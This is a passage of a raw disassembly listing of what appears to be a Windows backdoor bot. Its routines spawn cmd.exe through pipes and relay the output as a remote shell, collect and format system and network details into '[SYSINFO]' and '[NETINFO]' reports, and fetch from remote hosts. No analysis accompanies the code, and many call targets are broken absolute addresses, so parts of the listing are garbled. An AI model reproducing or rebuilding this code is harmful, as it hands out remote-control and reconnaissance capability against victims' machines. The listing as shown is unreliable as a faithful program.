		test	eax, eax
		jz	loc_40B4FD
		cmp	[ebp+var_4], edi
		jnz	short loc_40B492
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_43F9B0
		nop
		call	near ptr 2780000h
		test	eax, eax
		jz	short loc_40B488
		cmp	[ebp+var_8], 103h
		jnz	loc_40B521


loc_40B488:				; CODE XREF: sub_40B417+62j
		push	0Ah
		call	near ptr 260086Bh
		nop
		jmp	short loc_40B42F
; ---------------------------------------------------------------------------


loc_40B492:				; CODE XREF: sub_40B417+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_40B4A9


loc_40B499:				; CODE XREF: sub_40B417+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_40B4F7
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_40B499


loc_40B4A9:				; CODE XREF: sub_40B417+80j
		mov	[ebp+var_4], esi


loc_40B4AC:				; CODE XREF: sub_40B417+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_43F9B4
		call	near ptr 262109Ch
		nop
		test	eax, eax
		jz	short loc_40B549
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_43F9F4
		call	sub_40B390
		add	esp, 0Ch
		jmp	loc_40B42F
; ---------------------------------------------------------------------------


loc_40B4F7:				; CODE XREF: sub_40B417+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_40B4AC
; ---------------------------------------------------------------------------


loc_40B4FD:				; CODE XREF: sub_40B417+45j
		push	offset dword_42DC0C
		push	ebx
		push	dword_43F9F4
		call	sub_40B390
		push	[ebp+arg_0]
		call	sub_417076
		add	esp, 10h
		push	1
		nop
		call	near ptr 25F0962h


loc_40B521:				; CODE XREF: sub_40B417+6Bj
		call	sub_40B328
		push	offset dword_42DBD4
		push	ebx
		push	dword_43F9F4
		call	sub_40B390
		push	[ebp+arg_0]
		call	sub_417076
		add	esp, 10h
		push	edi
		nop
		call	near ptr 25F0962h


loc_40B549:				; CODE XREF: sub_40B417+C3j
		push	offset dword_42DB94
		push	ebx
		push	dword_43F9F4
		call	sub_40B390
		push	[ebp+arg_0]
		call	sub_417076
		add	esp, 10h
		push	edi
		nop
		call	near ptr 25F0962h
sub_40B417	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B56C	proc near		; CODE XREF: sub_40C351+99p
					; sub_40EE72+5772p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_40B328
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	dword_43F724
		test	eax, eax
		jz	loc_40B666
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_424140
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_40B666
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_40B666
		mov	edi, dword_42413C
		push	3
		push	esi
		push	esi
		push	offset dword_43F9B8
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		nop
		call	near ptr 27808D9h
		test	eax, eax
		jz	short loc_40B666
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417330
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_43C80C
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		nop
		call	near ptr 2750531h
		test	eax, eax
		jnz	short loc_40B66E


loc_40B666:				; CODE XREF: sub_40B56C+2Fj
					; sub_40B56C+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_40B71C
; ---------------------------------------------------------------------------


loc_40B66E:				; CODE XREF: sub_40B56C+F8j
		push	[ebp+var_4]
		mov	edi, dword_424078
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_43F9B4, eax
		mov	eax, [ebp+var_8]
		mov	dword_43F9BC, eax
		mov	eax, [ebp+var_2C]
		mov	dword_43F9B0, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_43F9F4, eax
		jz	short loc_40B6A8
		push	[ebp+arg_4]
		jmp	short loc_40B6A9
; ---------------------------------------------------------------------------


loc_40B6A8:				; CODE XREF: sub_40B56C+135j
		push	ebx


loc_40B6A9:				; CODE XREF: sub_40B56C+13Aj
		push	offset dword_43F9C0
		call	sub_4172AE
		pop	ecx
		pop	ecx
		push	esi
		push	7
		push	offset dword_42DC90
		call	sub_416D5A
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_4450C8[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_40B417
		push	esi
		push	esi
		call	near ptr 2670CCFh
		nop
		cmp	eax, esi
		mov	dword_4450D4[edi], eax
		jnz	short loc_40B71A
		nop
		call	near ptr 2640A83h
		push	eax
		lea	eax, [ebp+var_378]
		push	offset dword_42DC4C
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_40BF6D
		add	esp, 10h


loc_40B71A:				; CODE XREF: sub_40B56C+185j
		xor	eax, eax


loc_40B71C:				; CODE XREF: sub_40B56C+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B56C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B721	proc near		; CODE XREF: sub_407110+74p
					; sub_40B8D8+217p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		nop
		call	near ptr 2600000h
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_43F9FC
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41782A
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B721	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B78A	proc near		; CODE XREF: sub_409037+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		nop
		call	near ptr 279136Ch
		test	eax, eax
		jz	short loc_40B81D
		cmp	[ebp+var_90], 4
		jnz	short loc_40B7F3
		cmp	[ebp+var_8C], esi
		jnz	short loc_40B7DB
		cmp	[ebp+var_84], 1
		jnz	short loc_40B7CE
		push	1
		pop	esi


loc_40B7CE:				; CODE XREF: sub_40B78A+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_40B81D
		push	1
		jmp	short loc_40B81C
; ---------------------------------------------------------------------------


loc_40B7DB:				; CODE XREF: sub_40B78A+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_40B7E8


loc_40B7E4:				; CODE XREF: sub_40B78A+78j
		push	2
		jmp	short loc_40B81C
; ---------------------------------------------------------------------------


loc_40B7E8:				; CODE XREF: sub_40B78A+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_40B81D
		jmp	short loc_40B80D
; ---------------------------------------------------------------------------


loc_40B7F3:				; CODE XREF: sub_40B78A+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_40B81D
		cmp	[ebp+var_8C], esi
		jz	short loc_40B7E4
		cmp	[ebp+var_8C], 1
		jnz	short loc_40B811


loc_40B80D:				; CODE XREF: sub_40B78A+67j
		push	3
		jmp	short loc_40B81C
; ---------------------------------------------------------------------------


loc_40B811:				; CODE XREF: sub_40B78A+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_40B81D
		push	7


loc_40B81C:				; CODE XREF: sub_40B78A+4Fj
					; sub_40B78A+5Cj ...
		pop	esi


loc_40B81D:				; CODE XREF: sub_40B78A+25j
					; sub_40B78A+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40B78A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B822	proc near		; CODE XREF: sub_40B8D8+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_40B82A:				; CODE XREF: sub_40B822+2Fj
					; sub_40B822+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		call	near ptr 260086Bh
		nop
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_419250
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_40B82A
		jb	short loc_40B859
		cmp	ebx, esi
		ja	short loc_40B82A


loc_40B859:				; CODE XREF: sub_40B822+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_4191D0
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_40B8CC
		jb	short loc_40B878
		cmp	esi, 50h
		jnb	short loc_40B87D


loc_40B878:				; CODE XREF: sub_40B822+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_40B87D:				; CODE XREF: sub_40B822+54j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B888
		cmp	esi, 47h
		jnb	short loc_40B88D


loc_40B888:				; CODE XREF: sub_40B822+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_40B88D:				; CODE XREF: sub_40B822+64j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B898
		cmp	esi, 37h
		jnb	short loc_40B89D


loc_40B898:				; CODE XREF: sub_40B822+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_40B89D:				; CODE XREF: sub_40B822+74j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B8A8
		cmp	esi, 26h
		jnb	short loc_40B8AD


loc_40B8A8:				; CODE XREF: sub_40B822+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_40B8AD:				; CODE XREF: sub_40B822+84j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B8B8
		cmp	esi, 1Eh
		jnb	short loc_40B8BD


loc_40B8B8:				; CODE XREF: sub_40B822+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_40B8BD:				; CODE XREF: sub_40B822+94j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B8C8
		cmp	esi, 0Ah
		jnb	short loc_40B8CC


loc_40B8C8:				; CODE XREF: sub_40B822+9Fj
		xor	eax, eax
		xor	edx, edx


loc_40B8CC:				; CODE XREF: sub_40B822+4Dj
					; sub_40B822+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40B822	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B8D8	proc near		; CODE XREF: sub_40EE72+59ECp

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_43C80C
		mov	[ebp+var_CC], 94h
		nop
		call	near ptr 279136Ch
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_40B95F
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40B93B
		cmp	[ebp+var_BC], 1
		jnz	short loc_40B925
		mov	[ebp+var_4], offset a95	; "95"


loc_40B925:				; CODE XREF: sub_40B8D8+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_40B9DA
		mov	[ebp+var_4], offset aNt	; "NT"
		jmp	short loc_40B9AB
; ---------------------------------------------------------------------------


loc_40B93B:				; CODE XREF: sub_40B8D8+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_40B94D
		mov	[ebp+var_4], offset a98	; "98"
		jmp	short loc_40B9A2
; ---------------------------------------------------------------------------


loc_40B94D:				; CODE XREF: sub_40B8D8+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_40B99B
		mov	[ebp+var_4], offset aMe	; "ME"
		jmp	short loc_40B9A2
; ---------------------------------------------------------------------------


loc_40B95F:				; CODE XREF: sub_40B8D8+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_40B99B
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40B979
		mov	[ebp+var_4], offset a2k	; "2K"
		jmp	short loc_40B9A2
; ---------------------------------------------------------------------------


loc_40B979:				; CODE XREF: sub_40B8D8+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_40B98B
		mov	[ebp+var_4], offset aXp	; "XP"
		jmp	short loc_40B9A2
; ---------------------------------------------------------------------------


loc_40B98B:				; CODE XREF: sub_40B8D8+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_40B9A2


loc_40B99B:				; CODE XREF: sub_40B8D8+7Cj
					; sub_40B8D8+8Ej
		mov	[ebp+var_4], offset dword_42DDDC


loc_40B9A2:				; CODE XREF: sub_40B8D8+73j
					; sub_40B8D8+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_40B9DA


loc_40B9AB:				; CODE XREF: sub_40B8D8+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_40B9DA
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_42DDD4
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_40B9DA:				; CODE XREF: sub_40B8D8+54j
					; sub_40B8D8+D1j ...
		mov	ax, word_42DDD0
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_43F554
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_40BA13
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax


loc_40BA13:				; CODE XREF: sub_40B8D8+12Cj
		push	[ebp+arg_4]
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43F6A8
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_43F620
		cmp	eax, ebx
		jz	short loc_40BA3C
		push	dword ptr [eax]
		jmp	short loc_40BA41
; ---------------------------------------------------------------------------


loc_40BA3C:				; CODE XREF: sub_40B8D8+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_40BA41:				; CODE XREF: sub_40B8D8+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_4172AE
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	near ptr 260090Eh
		nop
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	near ptr 2670000h
		nop
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		nop
		call	near ptr 2660000h
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		nop
		call	near ptr 27A0000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_4192B8
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_40D12A
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_40B721
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		call	sub_40B822
		push	edx
		push	eax
		push	offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
		push	200h
		push	[ebp+arg_0]
		call	sub_41782A
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B8D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BB8C	proc near		; CODE XREF: sub_40EE72+4555p
					; sub_40EE72+5A1Dp

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		cmp	dword_43F750, 0
		jnz	short loc_40BBF8
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_43F538
		test	eax, eax
		jnz	short loc_40BBE1
		lea	eax, [ebp+var_8C]
		push	offset dword_42DE50
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx


loc_40BBE1:				; CODE XREF: sub_40BB8C+40j
		test	[ebp+var_C], 1
		jz	short loc_40BBEE
		push	offset dword_42DE48
		jmp	short loc_40BBF3
; ---------------------------------------------------------------------------


loc_40BBEE:				; CODE XREF: sub_40BB8C+59j
		push	offset off_42DE44


loc_40BBF3:				; CODE XREF: sub_40BB8C+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_40BC10
; ---------------------------------------------------------------------------


loc_40BBF8:				; CODE XREF: sub_40BB8C+28j
		mov	esi, offset off_42DE40
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_4172AE
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi


loc_40BC10:				; CODE XREF: sub_40BB8C+6Aj
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s	(%s). [IP Address"...
		push	200h
		push	[ebp+arg_0]
		call	sub_41782A
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_40BB8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BC4B	proc near		; DATA XREF: sub_40EE72+4974o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_42DF80
		call	sub_417330
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_417330
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_417330
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_417330
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_43F570
		test	eax, eax
		jz	loc_40BDE5
		cmp	[ebp+var_34], ebx
		jbe	short loc_40BD22
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_418C10
		add	esp, 0Ch


loc_40BD22:				; CODE XREF: sub_40BC4B+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_40BD40
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_418C10
		add	esp, 0Ch


loc_40BD40:				; CODE XREF: sub_40BC4B+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_40BD5A
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_418C10
		add	esp, 0Ch


loc_40BD5A:				; CODE XREF: sub_40BC4B+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_40BD74
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_418C10
		add	esp, 0Ch


loc_40BD74:				; CODE XREF: sub_40BC4B+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_43F618
		call	dword_43F63C
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_40BDFD
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_43F630
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_40BE04
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_43F5E4
		test	eax, eax
		jz	short loc_40BDDE
		push	offset dword_42DF54
		jmp	short loc_40BE09
; ---------------------------------------------------------------------------


loc_40BDDE:				; CODE XREF: sub_40BC4B+18Aj
		push	offset unk_42DF08
		jmp	short loc_40BE09
; ---------------------------------------------------------------------------


loc_40BDE5:				; CODE XREF: sub_40BC4B+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_42DEDC
		push	eax
		call	sub_4172AE
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_40BE17
; ---------------------------------------------------------------------------


loc_40BDFD:				; CODE XREF: sub_40BC4B+153j
		push	offset unk_42DEA0
		jmp	short loc_40BE09
; ---------------------------------------------------------------------------


loc_40BE04:				; CODE XREF: sub_40BC4B+17Bj
		push	offset unk_42DE60


loc_40BE09:				; CODE XREF: sub_40BC4B+191j
					; sub_40BC4B+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx


loc_40BE17:				; CODE XREF: sub_40BC4B+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_40BE42
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_40D679
		add	esp, 14h


loc_40BE42:				; CODE XREF: sub_40BC4B+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	esi
		call	dword_43F69C
		push	[ebp+var_4]
		call	dword_43F69C
		push	[ebp+var_1D8]
		call	sub_417076
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F0962h
		pop	edi
		pop	esi
		pop	ebx
sub_40BC4B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BE75	proc near		; CODE XREF: sub_40EE72+448Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_444340
		mov	edi, 0B8h


loc_40BE89:				; CODE XREF: sub_40BE75+33j
		cmp	byte ptr [esi],	0
		jz	short loc_40BEAC
		push	[ebp+arg_0]
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40BEAC
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_444EC0
		jl	short loc_40BE89
		jmp	short loc_40BEEE
; ---------------------------------------------------------------------------


loc_40BEAC:				; CODE XREF: sub_40BE75+17j
					; sub_40BE75+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_444340[esi]
		push	ebx
		call	sub_417330
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_418C10
		push	9Fh
		lea	eax, dword_444358[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_418C10
		add	esp, 24h
		inc	dword_4313B4
		pop	ebx


loc_40BEEE:				; CODE XREF: sub_40BE75+35j
